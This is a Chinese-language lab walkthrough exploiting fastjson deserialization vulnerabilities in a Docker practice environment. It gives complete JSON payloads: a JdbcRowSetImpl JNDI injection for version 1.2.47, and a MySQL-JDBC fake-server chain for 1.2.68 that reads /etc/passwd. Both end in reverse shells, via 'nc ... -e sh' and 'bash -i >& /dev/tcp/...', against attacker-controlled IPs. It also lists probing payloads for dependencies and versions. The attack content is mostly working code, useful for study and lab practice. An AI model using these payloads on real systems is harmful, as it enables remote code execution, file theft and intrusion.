fastjson反序列化漏洞利用
漏洞利用环境和payload参考君来自: FastJsonParty.
环境搭建注意点:配置一个好的镜像源。
vim /etc/docker/daemon.json
{
"registry-mirrors": [
"https://dockerhub.icu"
]
}
fastjson docker环境启动和关闭
docker-compose up -d
docker-compose down
fastjson 1247-jndi
演示环境IP介绍
攻击机:192.168.147.145
靶机(漏洞环境):192.168.147.128(docker搭建)
进入首页,点击登录。
在登录处抓包,发现为json格式传入参数:
删个末尾的}(也可以加个"),看报错,很标准的fastjson错误提示,确定后端使用的fastjson
探测fastjson精确版本:
{
"@type": "java.lang.AutoCloseable"
利用jndi注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all
使用nc反弹shell,bash反弹是不能成功的,因为没有。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 192.168.147.145 -C "nc 192.168.147.145 9999 -e sh"
同时在攻击机上开启监听
nc -lvp 9999
burpsuit发包
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.147.145:1389/bsro5z",
"autoCommit":true
}
}
这里注意ldap链接是jndi注入工具自动生成的,每次启动jndi注入攻击链接后缀都不一样。
发送包后,反弹shell成功
fastjson 1268-jdbc
演示环境IP介绍
攻击机:192.168.147.145
靶机(漏洞环境):192.168.147.128(docker搭建)
首先判断fastjson版本,1.2.68
{
"@type": "java.lang.AutoCloseable"
看到在这个大版本下,首先的思路肯定是考虑文件写操作,就需要判断是否为JDK11或者存在commons-io等其他文件写入的依赖,但是该环境下都是不存在的。
依赖检测方法:利用Character转换报错。
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
}
}
依赖存在的回包:
{
"timestamp":"2024-01-31T09:57:13.698+0000","status":500,"error":"Internal Server Error","message":"can not cast to char, value : interface org.springframework.web.bind.annotation.RequestMapping","path":"/login"
}
依赖不存在的回包:
{
"timestamp":"2024-01-31T09:56:13.060+0000","status":500,"error":"Internal Server Error","message":"No message available","path":"/login"
}
依赖检测项目
org.springframework.web.bind.annotation.RequestMapping //SpringBoot
org.apache.catalina.startup.Tomcat //Tomcat
groovy.lang.GroovyShell //Groovy - 1.2.80
com.mchange.v2.c3p0.DataSources //C3P0
com.mysql.jdbc.Buffer //mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider //mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8
sun.nio.cs.GBK //JDK8
java.net.http.HttpClient //JDK11
org.apache.ibatis.type.Alias //Mybatis
org.apache.tomcat.dbcp.dbcp.BasicDataSource //tomcat-dbcp-7-BCEL
org.apache.tomcat.dbcp.dbcp2.BasicDataSource //tomcat-dbcp-8及以后-BCEL
org.apache.commons.io.Charsets // 存在commons-io,但不确定版本
org.apache.commons.io.file.Counters //commons-io-2.7-2.8
org.aspectj.ajde.Ajde //aspectjtools
除了文件写操作,还有一个利用更加简单且直接rce的方法:配合Mysql-JDBC反序列化打fastjson。
要求环境中存在JDBC的依赖,且对版本的要求也挺严格。 Mysql-JDBC在5、6、8下都存在相应的利用,所以就需要探测具体是什么版本。
com.mysql.jdbc.Buffer //mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider //mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8
显然这里使用的是mysql-connect-8.x
可是对于mysql-connect的版本为8下限制条件很大,只有一个版本可用:8.0.19
恰好环境是使用的8.0.19。
那就好说了,先启动mysql-fake-server,用这个工具:https://github.com/fnmsd/MySQL_Fake_Server
python3 server.py
启动mysql-fake-server。
注意MySQL_Fake_Server依赖Python环境(建议3.6-3.8之间)和java环境(建议jdk 1.8),本攻击机上使用环境为Pyhton3.6.9,JDK环境为1.8。
正常启动MySQL_Fake_Server如下所示:
先读文件测试漏洞是否可行:
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{
"host": "127.0.0.1"
}
],
"slaves": [],
"properties": {
"host": "192.168.147.145",
"user": "fileread_/etc/passwd",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"allowLoadLocalInfile": "true"
}
}
}
}
成功!看来是可用的
后面就是反序列化了。
反序列化的话因为在之前说过,fastjson在全版本都存在原生反序列化,且环境依赖中并不存在其他的组件,看来只能配合原生反序列化了。
这里的话因为mysql-fake-server调用反序列化模块的原理是需要我们传入ysoserial工具然后执行命令获取数据并发送,但是在本身的ysoserial工具中并没有加入fastjson这条链的payload,所以需要在ysoserial中加入fastjson这条链。
(使用FastJsonParty write-up中ysoserial工具即可,上传到与server.py同目录即可读取。)
burpsuit发送数据:(masters中的host不重要,可以任意填,这里写了127.0.0.1,properties中的IP要填成VPS攻击机的IP)
同时攻击机上开启监听:
nc -lvp 9999
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{
"host": "127.0.0.1"
}
],
"slaves": [],
"properties": {
"host": "192.168.147.145",
"user": "yso_FastJson1_bash -i >& /dev/tcp/192.168.147.145/9999 0>&1",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"allowLoadLocalInfile": "true"
}
}
}
}
反弹shell成功